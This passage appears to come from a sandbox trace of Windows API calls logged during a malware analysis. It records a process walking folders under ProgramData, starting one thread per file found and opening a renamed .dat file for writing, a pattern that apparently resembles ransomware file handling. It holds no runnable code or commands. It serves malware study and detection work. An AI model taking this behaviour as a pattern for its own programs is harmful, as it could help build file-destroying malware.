lpStartAddress=0x794a0, lpParameter=0x4461f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0048.719] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b9ccf20, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql4885.tmp", cAlternateFileName="")) returned 1 [0048.719] wcscmp (_String1="sql4885.tmp", _String2=".") returned 1 [0048.719] wcscmp (_String1="sql4885.tmp", _String2="..") returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445bd8 [0048.719] wcscpy (in: _Dest=0x445bd8, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0048.719] wcscat (in: _Dest=0x445bd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0048.719] wcscat (in: _Dest=0x445bd8, _Source="sql4885.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql4885.tmp" [0048.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0048.720] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b9ccf20, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql4885.tmp", cAlternateFileName="")) returned 0 [0048.720] FindClose (in: hFindFile=0x440720 | out: hFindFile=0x440720) returned 1 [0048.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x484fe0) returned 1 [0048.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4451d0) returned 1 [0048.721] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444fa0) returned 1 Thread: id = 252 os_tid = 0x920 [0046.854] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat")) returned 0x2020 [0049.764] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat", dwFileAttributes=0x20) returned 1 [0065.315] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1428 [0065.315] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x6b1ff0c | out: lpFileSize=0x6b1ff0c*=0) returned 1 [0065.315] FlushFileBuffers (hFile=0x1428) Thread: id = 253 os_tid = 0x928 [0046.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416540 [0046.855] wcscpy (in: _Dest=0x416540, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0046.855] wcscat (in: _Dest=0x416540, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0046.855] wcscat (in: _Dest=0x416540, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*" [0046.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485248 [0046.855] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4402a0 [0051.191] wcscmp (_String1=".", _String2=".") returned 0 [0051.191] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.191] wcscmp (_String1="..", _String2=".") returned 1 [0051.191] wcscmp (_String1="..", _String2="..") returned 0 [0051.191] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0051.191] wcscmp (_String1="usertile10.bmp", _String2=".") returned 1 [0051.191] wcscmp (_String1="usertile10.bmp", _String2="..") returned 1 [0051.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43d9d8 [0051.191] wcscpy (in: _Dest=0x43d9d8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.191] wcscat (in: _Dest=0x43d9d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.191] wcscat (in: _Dest=0x43d9d8, _Source="usertile10.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" [0051.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43d9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0051.990] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0051.990] wcscmp (_String1="usertile11.bmp", _String2=".") returned 1 [0051.990] wcscmp (_String1="usertile11.bmp", _String2="..") returned 1 [0051.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e458 [0051.990] wcscpy (in: _Dest=0x43e458, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.990] wcscat (in: _Dest=0x43e458, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.990] wcscat (in: _Dest=0x43e458, _Source="usertile11.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" [0051.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0051.992] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0051.992] wcscmp (_String1="usertile12.bmp", _String2=".") returned 1 [0051.992] wcscmp (_String1="usertile12.bmp", _String2="..") returned 1 [0051.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e500 [0051.992] wcscpy (in: _Dest=0x43e500, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.992] wcscat (in: _Dest=0x43e500, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.992] wcscat (in: _Dest=0x43e500, _Source="usertile12.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" [0051.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0051.994] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0051.994] wcscmp (_String1="usertile13.bmp", _String2=".") returned 1 [0051.994] wcscmp (_String1="usertile13.bmp", _String2="..") returned 1 [0051.994] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e5a8 [0051.994] wcscpy (in: _Dest=0x43e5a8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.994] wcscat (in: _Dest=0x43e5a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.994] wcscat (in: _Dest=0x43e5a8, _Source="usertile13.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" [0051.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e5a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0051.995] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0051.995] wcscmp (_String1="usertile14.bmp", _String2=".") returned 1 [0051.995] wcscmp (_String1="usertile14.bmp", _String2="..") returned 1 [0051.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e650 [0051.995] wcscpy (in: _Dest=0x43e650, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.996] wcscat (in: _Dest=0x43e650, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.996] wcscat (in: _Dest=0x43e650, _Source="usertile14.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" [0051.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030 [0051.997] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0051.997] wcscmp (_String1="usertile15.bmp", _String2=".") returned 1 [0051.997] wcscmp (_String1="usertile15.bmp", _String2="..") returned 1 [0051.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e6f8 [0051.997] wcscpy (in: _Dest=0x43e6f8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.997] wcscat (in: _Dest=0x43e6f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.997] wcscat (in: _Dest=0x43e6f8, _Source="usertile15.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" [0051.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e6f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034 [0051.999] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0051.999] wcscmp (_String1="usertile16.bmp", _String2=".") returned 1 [0051.999] wcscmp (_String1="usertile16.bmp", _String2="..") returned 1 [0051.999] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e7a0 [0051.999] wcscpy (in: _Dest=0x43e7a0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0051.999] wcscat (in: _Dest=0x43e7a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0051.999] wcscat (in: _Dest=0x43e7a0, _Source="usertile16.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" [0051.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0052.001] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0052.001] wcscmp (_String1="usertile17.bmp", _String2=".") returned 1 [0052.001] wcscmp (_String1="usertile17.bmp", _String2="..") returned 1 [0052.001] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e848 [0052.001] wcscpy (in: _Dest=0x43e848, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.001] wcscat (in: _Dest=0x43e848, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.001] wcscat (in: _Dest=0x43e848, _Source="usertile17.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" [0052.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0052.003] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0052.003] wcscmp (_String1="usertile18.bmp", _String2=".") returned 1 [0052.003] wcscmp (_String1="usertile18.bmp", _String2="..") returned 1 [0052.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e8f0 [0052.003] wcscpy (in: _Dest=0x43e8f0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.003] wcscat (in: _Dest=0x43e8f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.003] wcscat (in: _Dest=0x43e8f0, _Source="usertile18.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" [0052.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0052.004] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0052.005] wcscmp (_String1="usertile19.bmp", _String2=".") returned 1 [0052.005] wcscmp (_String1="usertile19.bmp", _String2="..") returned 1 [0052.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e998 [0052.005] wcscpy (in: _Dest=0x43e998, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.005] wcscat (in: _Dest=0x43e998, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.005] wcscat (in: _Dest=0x43e998, _Source="usertile19.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" [0052.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044 [0052.006] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0052.006] wcscmp (_String1="usertile20.bmp", _String2=".") returned 1 [0052.006] wcscmp (_String1="usertile20.bmp", _String2="..") returned 1 [0052.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ea40 [0052.006] wcscpy (in: _Dest=0x43ea40, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.006] wcscat (in: _Dest=0x43ea40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.006] wcscat (in: _Dest=0x43ea40, _Source="usertile20.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" [0052.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0052.007] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0052.007] wcscmp (_String1="usertile21.bmp", _String2=".") returned 1 [0052.007] wcscmp (_String1="usertile21.bmp", _String2="..") returned 1 [0052.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43eae8 [0052.007] wcscpy (in: _Dest=0x43eae8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.007] wcscat (in: _Dest=0x43eae8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.008] wcscat (in: _Dest=0x43eae8, _Source="usertile21.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" [0052.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43eae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0052.009] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0052.009] wcscmp 